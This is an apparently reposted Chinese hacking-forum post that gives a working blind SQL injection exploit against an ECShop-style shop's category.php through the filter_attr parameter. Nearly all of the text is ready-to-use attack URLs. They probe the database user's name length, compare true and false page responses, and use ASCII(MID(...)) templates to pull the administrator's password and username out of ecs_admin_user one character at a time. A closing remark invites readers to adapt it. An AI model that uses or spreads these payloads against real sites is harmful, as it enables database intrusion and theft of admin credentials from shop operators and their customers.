久久久电脑

http://www.example.com/shop/category.php?page=1&sort=goods_id&order=ASC#
goods_list&category=1&display=grid&brand=0&price_min=0&price_max=0&filte
r_attr=-999

Test it :

http://www.example.com/shop/category.php?page=1&sort=goods_id&order=ASC%
23goods_list&category=1&display=grid&brand=0&price_min=0&price_max=0&fil
ter_attr=-999%20OR%20length(session_user())=14%20or%201=2 //判断session_user长度是否是14位

http://www.example.com/shop/category.php?page=1&sort=goods_id&order=ASC%
23goods_list&category=1&display=grid&brand=0&price_min=0&price_max=0&fil
ter_attr=-999%20OR%20length(session_user())=15%20or%201=2 //判断session_user长度是否是15位

http://127.0.0.1/category.php?page=1&sort=goods_id&order=asc&category=1&display=grid&brand=0&price_min=0&price_max=0&filter_attr=-999 OR ASCII(MID(UPPER((select password FROM ecs_admin_user WHERE user_id=1)),{inj},1))={inj} OR 1=2
第一个{inj}是要猜解密码的第几位.第二个是对应的ascii

 

ps:为啥我老用别人的马甲呢?rey这个马甲又登录不上去了.我很蛋疼啊,求关注
利用方法:
访问

[url]http://127.0.0.1/category.php?page=1&sort=goods_id&order=asc&category=1&display=grid&brand=0&price_min=0&price_max=0&filter_attr=-999%20OR%20[/url][color=Red]1=1[/color]%20OR%201=2
[url]http://127.0.0.1/category.php?page=1&sort=goods_id&order=asc&category=1&display=grid&brand=0&price_min=0&price_max=0&filter_attr=-999%20OR%20[/url][color=Red]1=2[/color]%20OR%201=2

可以看到网页的区别.可以抓取商品图片的链接作为关键字如
images/200905/thumb_img/9_thumb_G_1241511871555.jpg
爆用户名的语句为

[url]http://127.0.0.1/category.php?page=1&sort=goods_id&order=asc&category=1&display=grid&brand=0&price_min=0&price_max=0&filter_attr=-999[/url] OR ASCII(MID(UPPER((select user_name FROM ecs_admin_user WHERE user_id=1)),{inj},1))={inj} OR 1=2

其他的...大家就灵活运用吧

来源：t00ls